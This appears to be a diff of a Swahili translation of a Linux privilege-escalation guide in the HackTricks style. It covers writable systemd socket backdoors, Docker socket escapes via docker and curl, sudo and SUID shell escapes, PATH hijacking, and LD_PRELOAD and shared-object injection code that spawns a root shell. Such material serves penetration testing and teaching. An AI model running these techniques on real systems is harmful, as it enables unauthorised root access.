files. +Unix Domain Sockets (UDS) zinaruhusu **mawasiliano ya michakato** kwenye mashine moja au tofauti ndani ya mifano ya client-server. Zinatumia faili za descriptor za Unix za kawaida kwa mawasiliano kati ya kompyuta na zinaanzishwa kupitia `.socket` files. Sockets zinaweza kusanidiwa kwa kutumia `.socket` files. -**Learn more about sockets with `man systemd.socket`.** Ndani ya faili hii, vigezo kadhaa vya kuvutia vinaweza kusanidiwa: +**Jifunze zaidi kuhusu sockets kwa kutumia `man systemd.socket`.** Ndani ya faili hii, vigezo kadhaa vya kuvutia vinaweza kusanidiwa: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Chaguzi hizi ni tofauti lakini kwa muhtasari hutumika **kuonyesha wapi itaisikiliza** socket (njia ya faili ya AF_UNIX socket, anwani za IPv4/6 na/au nambari ya bandari ya kusikiliza, n.k.) -- `Accept`: Inachukua hoja ya boolean. Ikiwa **true**, **kila instance ya service itazaliwa kwa kila muunganisho unaoingia** na socket ya muunganisho pekee ndio itapitishwa kwake. Ikiwa **false**, sockets zote zinazolisikilizwa zitatumwa kwa `service unit` iliyozinduliwa, na service unit moja tu itazalishwa kwa miunganisho yote. Thamani hii haizingatiwi kwa datagram sockets na FIFOs ambapo `service unit` moja bila masharti inashughulikia trafiki yote inayoingia. **Defaults to false**. Kwa sababu za utendaji, inashauriwa kuandika daemons mpya kwa njia inayofaa kwa `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Zinachukua mistari ya amri moja au zaidi, ambayo hufanywa **kabla** au **baada** ya sockets/FIFOs zinazolisikilizwa **kuundwa** na ku-bind, mtawalia. Token ya kwanza ya mstari wa amri lazima iwe jina la faili kamili (absolute filename), ikifuatiwa na vigezo kwa mchakato. -- `ExecStopPre`, `ExecStopPost`: Amri za ziada ambazo hufanywa **kabla** au **baada** ya sockets/FIFOs zinazolisikilizwa **kufungwa** na kuondolewa, mtawalia. -- `Service`: Inaeleza jina la `service unit` **kuzinduliwa** kwa **trafiki inayokuja**. Mipangilio hii inaruhusiwa tu kwa sockets zenye `Accept=no`. Kwa default inarejea service yenye jina sawa na socket (kwa kubadilisha suffix). Kwa kawaida, haitakuwa muhimu kutumia chaguo hili. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Chaguzi hizi ni tofauti lakini muhtasari unatumika **kuonyesha mahali itakaposikiliza** socket (njia ya faili ya AF_UNIX socket file, IPv4/6 na/au nambari ya port kusikiliza, n.k.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. ### Writable .socket files -Ikiwa unapata `.socket` file **inaoweza kuandikwa**, unaweza **kuongeza** mwanzoni mwa sehemu ya `[Socket]` kitu kama: `ExecStartPre=/home/kali/sys/backdoor` na backdoor itatekelezwa kabla socket itakavyoundwa. Kwa hivyo, **labda utahitaji kusubiri hadi mashine iwashe upya (reboot).**\ -_Na kumbuka mfumo lazima utumie usanidi huo wa socket file au backdoor haitatekelezwa_ +Ikiwa utapata faili `.socket` inayoweza kuandikwa unaweza **ongeza** mwanzoni mwa sehemu ya `[Socket]` kitu kama: `ExecStartPre=/home/kali/sys/backdoor` na the backdoor itatekelezwa kabla socket iundwe. Therefore, you will **probably need to wait until the machine is rebooted.**\ +_Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -Ikiwa unagundua **socket yoyote inayoweza kuandikwa** (_sasa tunazungumzia Unix Sockets na si `.socket` config files_), basi **unaweza kuwasiliana** na socket hiyo na labda exploit udhaifu. +Ikiwa **unatambua socket yoyote inayoweza kuandikwa** (_sasa tunazungumzia Unix Sockets na si kuhusu faili za konfigurasi `.socket`_), basi **unaweza kuwasiliana** na socket hiyo na labda kutumia udhaifu. -### Orodha ya Unix Sockets +### Orodhesha Unix Sockets ```bash netstat -a -p --unix ``` -### Unganisho ghafi +### Muunganisho mbichi ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -482,48 +484,48 @@ socket-command-injection.md ### HTTP sockets -Kumbuka kuwa kunaweza kuwa na baadhi ya **sockets listening for HTTP** requests (_sina maana ya .socket files bali mafaili yanayotenda kama unix sockets_). Unaweza kukagua hili kwa: +Kumbuka kwamba huenda kuna baadhi ya **sockets listening for HTTP** requests (_sina kuzungumzia .socket files bali mafaili yanayotumika kama unix sockets_). Unaweza kuangalia hili kwa: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Ikiwa socket **inajibu kwa HTTP** ombi, basi unaweza **kuwasiliana** nayo na labda **exploit some vulnerability**. +Ikiwa socket **inajibu ombi la HTTP**, basi unaweza **kuwasiliana** nayo na labda **exploit some vulnerability**. -### Writable Docker Socket +### Docker Socket Inayoweza Kuandikwa -The Docker socket, often found at `/var/run/docker.sock`, ni faili muhimu ambayo inapaswa kulindwa. Kwa default, inaweza kuandikwa na mtumiaji wa `root` na wanachama wa kikundi cha `docker`. Kuwa na ufikiaji wa kuandika kwenye socket hii kunaweza kusababisha privilege escalation. Hapa kuna muhtasari wa jinsi hili linafanywa na mbinu mbadala ikiwa Docker CLI haipatikani. +Docker socket, mara nyingi inayopatikana katika `/var/run/docker.sock`, ni faili muhimu ambayo inapaswa kulindwa. Kwa chaguo-msingi, inaweza kuandikwa na mtumiaji `root` na wanachama wa kundi la `docker`. Kuwa na write access kwa socket hii kunaweza kusababisha privilege escalation. Hapa kuna muhtasari wa jinsi hii inaweza kufanywa na mbinu mbadala ikiwa Docker CLI haitapatikana. -#### **Privilege Escalation kwa kutumia Docker CLI** +#### **Privilege Escalation with Docker CLI** -Ikiwa una ufikiaji wa kuandika kwenye Docker socket, unaweza escalate privileges kwa kutumia amri zifuatazo: +Ikiwa una write access kwenye Docker socket, unaweza escalate privileges kwa kutumia amri zifuatazo: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Amri hizi zinakuwezesha kuendesha container yenye ufikiaji wa root kwenye filesystem ya host. +These commands allow you to run a container with root-level access to the host's file system. -#### **Kutumia Docker API Moja kwa moja** +#### **Kutumia Docker API Moja kwa Moja** -Katika matukio ambapo Docker CLI haipo, Docker socket bado inaweza kubadilishwa kwa kutumia Docker API na amri za `curl`. +Katika matukio ambapo Docker CLI haipatikani, socket ya Docker bado inaweza kudhibitiwa kwa kutumia Docker API na amri za `curl`. -1. **List Docker Images:** Pata orodha ya images zinazopatikana. +1. **Orodhesha Docker Images:** Pata orodha ya images zilizo hapa. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Tuma ombi la kuunda container inayochomeka (mounts) directory ya root ya mfumo wa host. +2. **Create a Container:** Tuma ombi la kuunda container ambayo inamounsha directory ya root ya host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +Anzisha container iliyoundwa hivi karibuni: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Tumia `socat` kuanzisha muunganisho kwa container, kuruhusu utekelezaji wa amri ndani yake. +3. **Attach to the Container:** Tumia `socat` kuanzisha muunganisho kwenye container, ukiruhusu utekelezaji wa amri ndani yake. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -533,31 +535,31 @@ Connection: Upgrade Upgrade: tcp ``` -Baada ya kuanzisha muunganisho wa `socat`, unaweza kutekeleza amri moja kwa moja ndani ya container ukiwa na ufikiaji wa root kwenye filesystem ya host. +Baada ya kusanidi muunganisho wa `socat`, unaweza kutekeleza amri moja kwa moja ndani ya container ukiwa na upatikanaji wa root kwa filesystem ya host. -### Mengine +### Wengine -Kumbuka kwamba ikiwa una ruhusa za kuandika kwenye docker socket kwa sababu uko **ndani ya kundi `docker`** una [**njia zaidi za kupandisha ruhusa**](interesting-groups-linux-pe/index.html#docker-group). Ikiwa [**docker API inasikiliza kwenye port** unaweza pia kuweza kuiponda](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Kumbuka kwamba ikiwa una vibali vya kuandika kwenye docker socket kwa sababu uko **inside the group `docker`** una [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Ikiwa [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Angalia **njia zaidi za kutoka kutoka docker au kuitumia vibaya kupandisha ruhusa** katika: +Angalia **more ways to break out from docker or abuse it to escalate privileges** katika: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) kupandisha ruhusa +## Containerd (ctr) privilege escalation -Ikiwa unagundua kuwa unaweza kutumia amri ya **`ctr`**, soma ukurasa ufuatao kwani **unaweza kuwa na uwezo wa kuitumia vibaya ili kupandisha ruhusa**: +Ikiwa unagundua kwamba unaweza kutumia amri ya **`ctr`** soma ukurasa unaofuata kwani **huenda ukaweza kuiba matumizi yake ili kuongeza privileji**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** kupandisha ruhusa +## **RunC** privilege escalation -Ikiwa unagundua kuwa unaweza kutumia amri ya **`runc`**, soma ukurasa ufuatao kwani **unaweza kuwa na uwezo wa kuitumia vibaya ili kupandisha ruhusa**: +Ikiwa unagundua kwamba unaweza kutumia amri ya **`runc`** soma ukurasa unaofuata kwani **huenda ukaweza kuiba matumizi yake ili kuongeza privileji**: {{#ref}} @@ -566,15 +568,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus ni mfumo wa hali ya juu wa **inter-Process Communication (IPC)** unaowawezesha programu kuingiliana kwa ufanisi na kushiriki data. Umeundwa kwa kuzingatia mfumo wa kisasa wa Linux, hutoa mfumo thabiti kwa aina mbalimbali za mawasiliano ya programu. +D-Bus ni mfumo tata wa **inter-Process Communication (IPC)** ambao unawawezesha programu kuingiliana kwa ufanisi na kushirikiana data. Umeundwa kwa mfumo wa kisasa wa Linux, na hutoa mfumo thabiti kwa aina mbalimbali za mawasiliano ya programu. -Mfumo huu ni mwingi kwa matumizi, unaounga mkono IPC ya msingi inayoboreshwa kubadilishana data kati ya mchakato, ikikumbusha **enhanced UNIX domain sockets**. Zaidi ya hayo, husaidia kutangaza matukio au ishara, kukuza muunganisho usio na mshono kati ya vipengele vya mfumo. Kwa mfano, ishara kutoka kwa daemon ya Bluetooth kuhusu simu inayoingia inaweza kusababisha player ya muziki kutulia (mute), kuboresha uzoefu wa mtumiaji. Zaidi ya hayo, D-Bus inaunga mkono mfumo wa remote object, kurahisisha maombi ya huduma na kuitwa kwa method kati ya programu, ikipunguza ugumu wa michakato iliyokuwa ngumu hapo awali. +Mfumo ni wenye ufanisi, ukisaidia IPC ya msingi inayoongeza kubadilishana data kati ya michakato, ikikumbusha **enhanced UNIX domain sockets**. Zaidi ya hayo, husaidia kutangaza matukio au ishara, ikileta ushirikiano miongoni mwa vipengele vya mfumo. Kwa mfano, ishara kutoka kwa daemon ya Bluetooth kuhusu simu inayokuja inaweza kusababisha player wa muziki kutuliza sauti, kuboresha uzoefu wa mtumiaji. Pia, D-Bus ina mfumo wa remote objects, kurahisisha ombi la huduma na kuita method kati ya programu, ikirahisisha michakato ambayo kwa kawaida ilikuwa ngumu. -D-Bus inafanya kazi kwa kutumia mfumo wa **allow/deny**, ikisimamia ruhusa za ujumbe (mfano method calls, signal emissions, n.k.) kwa msingi wa athari jumla ya kanuni za sera zinazofanana. Sera hizi zinaeleza mwingiliano na bus, na zinaweza kuruhusu kupandishwa kwa ruhusa kupitia matumizi mabaya ya ruhusa hizi. +D-Bus inafanya kazi kwa mfano wa **allow/deny**, ikisimamia ruhusa za ujumbe (miito ya method, utoaji wa signal, n.k.) kulingana na athari ya jumla ya kanuni za sera zinazolingana. Sera hizi zinaeleza mwingiliano na bus, na zinaweza kuruhusu kuongeza privileji kupitia unyonyaji wa ruhusa hizi. -Mfano wa sera kama hii katika `/etc/dbus-1/system.d/wpa_supplicant.conf` umetolewa, ukielezea ruhusa kwa mtumiaji root kumiliki, kutuma, na kupokea ujumbe kutoka `fi.w1.wpa_supplicant1`. +Mfano wa sera kama hiyo katika `/etc/dbus-1/system.d/wpa_supplicant.conf` umetolewa, ukielezea ruhusa kwa mtumiaji root kumiliki, kutuma, na kupokea ujumbe kutoka kwa `fi.w1.wpa_supplicant1`. -Sera ambazo hazina mtumiaji au kundi maalum zinaweza kutumika kwa wote, wakati sera za muktadha "default" zinatumika kwa wote ambao hawajafunikwa na sera maalum nyingine. +Sera zisizo na mtumiaji au kundi maalum zinatumika kwa wote, wakati sera za muktadha "default" zinatumika kwa wote wasiothibitishwa kwa sera maalum nyingine. ```xml @@ -583,7 +585,7 @@ Sera ambazo hazina mtumiaji au kundi maalum zinaweza kutumika kwa wote, wakati s ``` -**Jifunze jinsi ya enumerate na exploit mawasiliano ya D-Bus hapa:** +**Jifunze jinsi ya kuorodhesha na kutumia mawasiliano ya D-Bus hapa:** {{#ref}} @@ -592,9 +594,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Mtandao** -Inavutia kila wakati ku-enumerate mtandao na kubaini nafasi ya mashine. +Inavutia kila wakati kuorodhesha mtandao na kugundua nafasi ya mashine. -### Generic enumeration +### Orodhesho la jumla ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -617,24 +619,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Bandari zilizo wazi +### Bandari zilizofunguliwa -Daima angalia huduma za mtandao zinazoendesha kwenye mashine ambazo hukuweza kuingiliana nazo kabla ya kuipata: +Daima angalia huduma za mtandao zinazokimbia kwenye mashine ambazo haukuweza kuingiliana nazo kabla ya kupata ufikiaji wake: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Angalia ikiwa unaweza kunusa trafiki. Ikiwa unaweza, unaweza kupata baadhi ya vitambulisho. +Angalia ikiwa unaweza sniff traffic. Ikiwa unaweza, unaweza kupata baadhi ya credentials. ``` timeout 1 tcpdump ``` ## Watumiaji -### Uorodheshaji wa Kawaida +### Uorodheshaji wa Jumla -Angalia **wewe ni nani**, ni **privileges** zipi ulizonazo, ni **users** gani wako kwenye mifumo, ni nani wanaoweza **login** na ni nani wana **root privileges**: +Angalia **nani** wewe ni, **ni ruhusa gani** ulizonazo, **ni watumiaji gani** wako kwenye mifumo, ni yapi wanaoweza **kuingia** na ni yapi wana **idhinisho za root:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -658,21 +660,21 @@ gpg --list-keys 2>/dev/null ``` ### UID Kubwa -Baadhi ya toleo za Linux zilikuwa zimesababishwa na mdudu unaowawezesha watumiaji wenye **UID > INT_MAX** kupandisha ruhusa. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Baadhi ya matoleo ya Linux yaliathiriwa na mdudu unaowawezesha watumiaji wenye **UID > INT_MAX** kupandisha mamlaka. Maelezo zaidi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** -### Makundi +### Vikundi -Angalia ikiwa wewe ni **mwanachama wa kundi fulani** ambalo linaweza kukupa ruhusa za root: +Angalia kama wewe ni **mwanachama wa kundi fulani** ambacho kinaweza kukupa mamlaka za root: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Ubao wa kunakili +### Clipboard -Angalia kama kuna kitu chochote cha kuvutia kilicho ndani ya ubao wa kunakili (ikiwa inawezekana) +Angalia kama kuna kitu chochote cha kuvutia ndani ya clipboard (ikiwa inawezekana) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -683,33 +685,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Password Policy +### Sera ya Nenosiri ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Nywila zinazojulikana +### Nywila zilizojulikana -Ikiwa unajua **nenosiri lolote** la mazingira, **jaribu kuingia kama kila mtumiaji** ukitumia nenosiri hilo. +Kama unajua nywila yoyote ya mazingira, jaribu kuingia kama kila mtumiaji ukitumia nywila hiyo. ### Su Brute -Ikiwa hukujali kusababisha kelele nyingi na binaries za `su` na `timeout` zipo kwenye kompyuta, unaweza kujaribu kufanya brute-force kwa watumiaji kwa kutumia [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kwa parameta `-a` pia itajaribu brute-force watumiaji. +Kama haufikiri shida kwa kusababisha kelele nyingi na binaries `su` na `timeout` ziko kwenye kompyuta, unaweza kujaribu brute-force mtumiaji kwa kutumia [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kwa parameter `-a` pia hujaribu brute-force watumiaji. ## Matumizi mabaya ya PATH inayoweza kuandikwa ### $PATH -Ikiwa unagundua kwamba unaweza **kuandika ndani ya folda fulani ya $PATH**, unaweza kuwa na uwezo wa kuongeza haki kwa **kuunda backdoor ndani ya folda inayoweza kuandikwa** kwa jina la amri fulani ambayo itatekelezwa na mtumiaji mwingine (root ideally) na ambayo **haitakuwa inasomwa kutoka kwenye folda iliyoko kabla yako** katika $PATH. +Kama ugundua kwamba unaweza **kuandika ndani ya baadhi ya folda za $PATH**, unaweza kufanikiwa kuongeza vibali kwa **kuunda backdoor ndani ya folda inayoweza kuandikwa** kwa jina la amri itakayotekelezwa na mtumiaji mwingine (kwa mfano root) na ambayo **haitachukuliwa kutoka kwenye folda iliyoko kabla ya folda yako inayoweza kuandikwa katika $PATH**. ### SUDO and SUID -Unaweza kuruhusiwa kutekeleza amri fulani kwa kutumia sudo, au zinaweza kuwa na suid bit. Angalia kwa kutumia: +Unaweza kuruhusiwa kutekeleza amri fulani kwa kutumia sudo au zinaweza kuwa na suid bit. Angalia kwa kutumia: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Baadhi ya **unexpected commands allow you to read and/or write files or even execute a command.** Kwa mfano: +Baadhi ya **amri zisizotarajiwa zinakuwezesha kusoma na/au kuandika faili au hata kutekeleza amri.** Kwa mfano: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -720,29 +722,29 @@ less>! ``` ### NOPASSWD -Usanidi wa sudo unaweza kumruhusu mtumiaji kutekeleza amri fulani kwa ruhusa za mtumiaji mwingine bila kujua nywila. +Mipangilio ya sudo yanaweza kumruhusu mtumiaji kutekeleza amri fulani kwa kutumia ruhusa za mtumiaji mwingine bila kujua nenosiri. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Katika mfano huu mtumiaji `demo` anaweza kuendesha `vim` kama `root`; sasa ni rahisi kupata shell kwa kuongeza ssh key kwenye saraka ya `root` au kwa kuitisha `sh`. +Katika mfano huu mtumiaji `demo` anaweza kuendesha `vim` kama `root`, sasa ni rahisi kupata shell kwa kuongeza ufunguo wa `ssh` katika saraka ya `root` au kwa kuita `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Agizo hili linamruhusu mtumiaji **set an environment variable** wakati anatekeleza kitu: +Direktivu hii inamruhusu mtumiaji **kuweka kigezo cha mazingira** wakati anapoendesha kitu: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Mfano huu, **based on HTB machine Admirer**, ulikuwa **vulnerable** kwa **PYTHONPATH hijacking** ili kupakia maktaba yoyote ya python wakati script ikiendeshwa kama root: +Mfano huu, **based on HTB machine Admirer**, **ulikuwa dhaifu** kwa **PYTHONPATH hijacking** ili kupakia maktaba yoyote ya python wakati script ikiendeshwa kama root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Njia za bypassing za utekelezaji za Sudo +### Njia za kukwepa utekelezaji wa Sudo **Ruka** kusoma faili nyingine au tumia **symlinks**. Kwa mfano katika faili ya sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash @@ -761,39 +763,39 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Hatua za kukabiliana**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary bila command path +### Sudo command/SUID binary without command path -Ikiwa **sudo permission** imetolewa kwa amri moja tu **bila kutaja path**: _hacker10 ALL= (root) less_ unaweza kui-exploit kwa kubadilisha PATH variable +Ikiwa **sudo permission** imetolewa kwa amri moja tu **bila kubainisha path**: _hacker10 ALL= (root) less_ unaweza kuitumia kwa kubadilisha PATH variable ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Mbinu hii pia inaweza kutumika ikiwa **suid** binary **inatekeleza amri nyingine bila kutaja njia yake (hakikisha kila wakati ukitumia** _**strings**_ **kukagua yaliyomo ya binary ya SUID isiyo ya kawaida)**). +Mbinu hii pia inaweza kutumika ikiwa **suid** binary **inatekeleza amri nyingine bila kutaja njia yake (daima angalia kwa kutumia** _**strings**_ **maudhui ya binary ya SUID isiyo ya kawaida)**. [Payload examples to execute.](payloads-to-execute.md) -### SUID binary na command path +### SUID binary yenye njia ya amri -Ikiwa **suid** binary **inatekeleza amri nyingine kwa kutaja njia yake**, basi, unaweza kujaribu **export a function** iitwayo kama amri ambayo faili ya suid inaiita. +Ikiwa **suid** binary **inatekeleza amri nyingine kwa kutaja njia**, basi, unaweza kujaribu **export a function** iitwayo kama amri ambayo faili ya suid inaiita. -Kwa mfano, ikiwa suid binary inaita _**/usr/sbin/service apache2 start**_ lazima ujaribu kuunda function na kuiexport: +Kwa mfano, ikiwa suid binary inaita _**/usr/sbin/service apache2 start**_, lazima ujaribu kuunda function na kui-export: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Kisha, unapoitisha binary ya suid, kazi hii itaendeshwa +Kisha, unapokuita suid binary, kazi hii itatekelezwa ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +Kigezo cha mazingira **LD_PRELOAD** kinatumika kubainisha maktaba moja au zaidi za kushirikiwa (.so files) ambazo zitapakiwa na loader kabla ya nyingine zote, ikiwa ni pamoja na maktaba ya kawaida ya C (`libc.so`). Mchakato huu unajulikana kama preloading ya maktaba. -Hata hivyo, ili kudumisha usalama wa mfumo na kuzuia kipengele hiki kutumika vibaya, hasa kwa executables za **suid/sgid**, mfumo unaleta masharti fulani: +Hata hivyo, ili kudumisha usalama wa mfumo na kuzuia kipengele hiki kutumiwa vibaya, hasa kwa executables za **suid/sgid**, mfumo unatekeleza masharti fulani: -- Loader hainazingatii **LD_PRELOAD** kwa executables ambapo the real user ID (_ruid_) haifanani na the effective user ID (_euid_). -- Kwa executables zenye suid/sgid, maktaba zilizoko tu katika njia za kawaida ambazo pia ni suid/sgid ndizo hupakiwa. +- Loader haizingatii **LD_PRELOAD** kwa executables ambapo real user ID (_ruid_) haifanani na effective user ID (_euid_). +- Kwa executables zenye suid/sgid, maktaba tu zilizopo katika njia za kawaida ambazo pia ni suid/sgid ndizo hupakiwa kabla. -Privilege escalation inaweza kutokea ikiwa una uwezo wa kuendesha amri kwa `sudo` na matokeo ya `sudo -l` yanajumuisha tamko **env_keep+=LD_PRELOAD**. Usanidi huu unaruhusu variable ya mazingira **LD_PRELOAD** kudumu na kutambuliwa hata wakati amri zinaendeshwa kwa `sudo`, jambo ambalo linaweza kusababisha utekelezaji wa msimbo wowote kwa ruhusa zilizoinuliwa. +Kuongezeka kwa mamlaka kunaweza kutokea ikiwa una uwezo wa kutekeleza amri kwa `sudo` na matokeo ya `sudo -l` yanajumuisha taarifa **env_keep+=LD_PRELOAD**. Mipangilio hii inaruhusu kigezo cha mazingira **LD_PRELOAD** kudumu na kutambuliwa hata amri zinapotekelezwa kwa `sudo`, jambo ambalo linaweza kupelekea utekelezaji wa msimbo wowote kwa ruhusa zilizoinuliwa. ``` Defaults env_keep += LD_PRELOAD ``` @@ -810,17 +812,17 @@ setuid(0); system("/bin/bash"); } ``` -Kisha **compile** kwa kutumia: +Kisha **ijenge** ukitumia: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Hatimaye, **escalate privileges** ukiendesha +Mwishowe, **escalate privileges** ukiendesha ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Privesc sawa inaweza kutumiwa vibaya ikiwa mshambuliaji anadhibiti **LD_LIBRARY_PATH** env variable, kwa sababu anadhibiti njia ambapo maktaba zitatafutwa. +> Privesc sawa inaweza kutumiwa vibaya ikiwa mshambuliaji anadhibiti env variable **LD_LIBRARY_PATH** kwa sababu anadhibiti njia ambayo maktaba zitatafutwa. ```c #include #include @@ -842,13 +844,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Unapokutana na binary yenye **SUID permissions** ambazo zinaonekana zisizo za kawaida, ni desturi nzuri kuthibitisha ikiwa inapakia faili za **.so** kwa usahihi. Hii inaweza kukaguliwa kwa kuendesha amri ifuatayo: +Unapokutana na binary yenye ruhusa za **SUID** ambayo inaonekana isiyo ya kawaida, ni desturi nzuri kukagua ikiwa inaingiza mafaili ya **.so** ipasavyo. Hii inaweza kukaguliwa kwa kuendesha amri ifuatayo: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Kwa mfano, kukutana na kosa kama _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ kunapendekeza uwezekano wa exploitation. +Kwa mfano, kukutana na kosa kama _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ kunaonyesha uwezekano wa exploitation. -Ili kufanyia exploit hii, mtu angeendelea kwa kuunda faili ya C, sema _"/path/to/.config/libcalc.c"_, iliyo na msimbo ufuatao: +To exploit this, mtu angeendelea kwa kuunda faili ya C, sema _"/path/to/.config/libcalc.c"_, lenye msimbo ufuatao: ```c #include #include @@ -859,13 +861,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Kanuni hii, mara itakapokusanywa na kutekelezwa, inalenga kuinua idhini kwa kubadilisha ruhusa za faili na kutekeleza shell yenye idhini zilizoinuliwa. +Code hii, mara compiled na executed, inalenga elevate privileges kwa manipulating file permissions na executing shell yenye elevated privileges. -Kusanya faili ya C iliyotajwa hapo juu kuwa shared object (.so) kwa kutumia: +Compile C file iliyo hapo juu kuwa shared object (.so) file kwa kutumia: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Mwishowe, kuendesha binary ya SUID iliyoathiriwa kunapaswa kuchochea exploit, ikiruhusu uwezekano wa kupata udhibiti wa mfumo. +Mwishowe, kuendesha SUID binary iliyoathiriwa kunapaswa kuchochea exploit, na hivyo kuruhusu uwezekano wa kuvamiwa kwa mfumo. ## Shared Object Hijacking ```bash @@ -877,7 +879,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Sasa tumepata SUID binary inayopakia library kutoka kwa folder ambako tunaweza kuandika, hebu tengeneza library katika folder hiyo kwa jina linalohitajika: +Sasa tumeipata SUID binary inayopakia library kutoka kwenye folder ambapo tunaweza kuandika, tuunde library katika folder hiyo kwa jina linalohitajika: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -890,17 +892,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Ikiwa unapata hitilafu kama +Iwapo utapata hitilafu kama ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -hiyo inamaanisha kwamba maktaba 